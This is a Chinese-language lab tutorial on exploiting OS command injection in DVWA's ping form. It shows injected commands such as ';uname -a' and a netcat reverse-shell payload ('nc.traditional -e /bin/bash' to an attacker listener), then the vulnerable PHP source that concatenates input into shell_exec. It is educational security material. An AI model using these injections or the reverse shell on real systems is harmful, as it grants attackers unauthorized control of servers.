前文中,PHP的 system( ) 方法可以在服務器上執行操作系統命令,開發者有時候也會用同樣的方法,實現一些特殊的功能,如Ping功能服務,在Web頁面,用戶可能通過添加非法輸入,就可以在服務器執行附加惡意系統命令
下面,演示如何利用命令注入漏洞獲取服務器的敏感信息
實踐
登陸到 Damn Vulnerable Web Application (DVWA),調整安全級別為low,然后跳轉到頁面 Command Execution
-
如圖,表單 Ping for FREE ,輸入192.168.150.148 ( Kali 測試機的IP地址)
Command Execution
輸出看起來就像是我們直接在服務器上執行 Ping 命令一樣,因此,這里我們判斷為一個 OS 命令注入點 我們嘗試著注入一個簡單的系統命令,提交如下內容:
192.168.150.148;uname -a
如圖,uname命令的執行結果輸出打掃ping命令的結果之后了。這就是一個命令劫持漏洞。
- 也可以試試不加IP地址,直接輸入如下內容:
;uname -a
- 然后,我們來獲取一個服務器的reverse shell;首先,我們要確定服務器上有我們需要的軟件環境,提交如下語句:
ls /bin/nc*
這里我們查到了不同版本的 NetCat(OpenBSD 版本的 nc 不支持在連接中執行命令,因此我們使用traditional版本),下面使用這個工具來連接靶機到攻擊機上
- 在Kali攻擊機上啟用一個nc連接監聽端口:
nc -lp 1691 -v
- 回到瀏覽器,輸入以下命令,提交:
;nc.traditional -e /bin/bash 192.168.56.1 1691 &
Kail終端會受到連接請求,并建立連接,現在,就可以隨意在服務器上執行命令并獲取輸出了
總結
類似 SQL 注入漏洞,命令注入漏洞也是因為沒有對輸入參數進行充分的校驗造成的。如果查看,我們剛剛攻擊頁面的后臺源碼(DVWA頁面右下角有個按鈕),我們會看到如下內容:
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
echo '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
echo '<pre>'.$cmd.'</pre>';
}
}
?>
我們看到,它直接拼接用戶輸入到 ping 命令中,我們所做的只是加了個分號,這樣shell解釋器就把分號前后兩條命令順序解釋執行了,分后后面的,就是我們真實想要執行的代碼
成功執行命令后,下一步檢查服務器上是否有 NetCat,這個工具可以幫助我們給兩臺機器建立連接,前面我們發現,服務器又兩個不同版本的 NetCat ,這里執行支持建立連接的那個
當設置Kali攻擊機監聽 TCP 的 1691 端口(可以是任意端口)后,我們在靶機服務器執行命令,用于跟Kali機器建立連接并執行 /bin/bash,如此就可以在靶機服務器輸入任意命令了
在命令后添加符號“ & ”可以在后臺執行命令,因為,PHP腳本會一直等一條命令的響應